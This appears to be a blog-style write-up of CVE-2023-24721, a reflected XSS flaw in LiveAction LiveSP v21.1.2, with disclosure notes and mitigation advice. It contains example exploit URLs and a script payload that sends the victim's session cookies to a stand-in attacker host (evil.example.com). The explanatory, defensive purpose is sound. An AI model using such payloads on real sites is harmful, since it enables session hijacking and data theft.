CVE-2023-24721 - Exploiting XSS in LiveAction LiveSP v21.1.2 – Full Guide, Code, and Resources

Cross-site scripting (XSS) vulnerabilities continue to plague web applications, and even major network management platforms like LiveAction LiveSP aren’t immune. Today, we’re taking a deep dive into CVE-2023-24721—a security flaw discovered in LiveAction LiveSP version 21.1.2 that allows attackers to inject and execute arbitrary scripts in users’ browsers. We’ll break down how it works, how to exploit it, and what developers and admins need to know to stay safe. This post is exclusive and uses simple American English, offering easy-to-follow explanations, code examples, and references.

What is CVE-2023-24721?

CVE-2023-24721 is a cross-site scripting (XSS) vulnerability found in LiveAction’s LiveSP version 21.1.2. With a successful exploit, a malicious user can cause a victim’s browser to execute unwanted scripts, steal data, or even take over user sessions. According to its NVD entry:

> “The LiveAction LiveSP v21.1.2 Web Interface allows for the injection and execution of arbitrary JavaScript or HTML, via a reflected XSS issue.”

In plain English: This bug lets attackers embed unseen code into links or forms. When a user clicks a poisoned link or submits a bad form, the injected JavaScript runs as if it’s coming from LiveSP itself.

How Does the XSS Work?

This XSS vulnerability is triggered by improper input sanitization in the LiveSP web interface. Let’s say a piece of user-supplied data—such as a parameter in a URL or a form field—is displayed directly in an HTML page without proper escaping. That’s the door for XSS.

For LiveSP v21.1.2, certain pages accept GET or POST parameters and inject them into the returned HTML without cleaning them:

Example Vulnerable URL

https://livesp.example.com/dashboard?filter=<script>alert('XSS')</script>

When a user visits this URL, the server responds with an HTML page that renders whatever value is inside the filter parameter—meaning our <script> tag comes alive!

Proof of Concept: Code Snippet

The classic XSS proof: Injecting a simple JavaScript alert box.

Example Exploit URL

https://livesp.example.com/dashboard?filter=<script>alert('XSS')</script>

Identify the vulnerable parameter.

- Use a tool like Burp Suite or plain browser to fuzz parameters with payloads like <script>alert(1)</script>.

https://livesp.example.com/dashboard?filter=<script>fetch('https://evil.example.com/cookie?c=' + document.cookie)</script>

User clicks.

- The JavaScript code executes in their browser—here, it tries to send the user's session cookie to a remote server.

Note: The payload can be anything—not just an alert. Real attackers could keylog, steal sensitive data, or impersonate the user.

Example Real Exploit Payload (stealing cookies)

<script>
  fetch('https://evil.example.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

Responsible Disclosure

This vulnerability was responsibly reported to LiveAction. They have since released patches, but it's crucial for organizations to update as soon as possible.

- Original advisory: GitHub Security Advisory GHSA-vxf8-pv7m-hr3w
- National Vulnerability Database (NVD): CVE-2023-24721

Update LiveSP to the latest version. The vendor has fixed this issue in newer releases.

- Sanitize all user inputs and outputs. Use functions that escape HTML special characters before displaying user data.

Use Content Security Policy (CSP). Restrict what scripts can be executed in the browser.

- Limit user input where possible. Accept only necessary data and validate/encode everything.

If you’re developing with JavaScript, never do this

// BAD: Directly adding user input to HTML
document.getElementById('output').innerHTML = location.search;

Instead, use textContent or proper HTML escaping

// GOOD: Text content doesn’t parse HTML
document.getElementById('output').textContent = location.search;

Final Thoughts

CVE-2023-24721 might seem trivial—just another XSS. But XSS remains one of the most effective and dangerous vulnerabilities out there.

If you use LiveAction LiveSP, update immediately. If you build web apps, take this as a warning: always sanitize your input and educate your users.

References

- CVE-2023-24721 – NVD
- GitHub Advisory GHSA-vxf8-pv7m-hr3w
- OWASP XSS Prevention Cheat Sheet

Timeline

Published on: 04/10/2023 22:15:00 UTC
Last modified on: 04/14/2023 18:51:00 UTC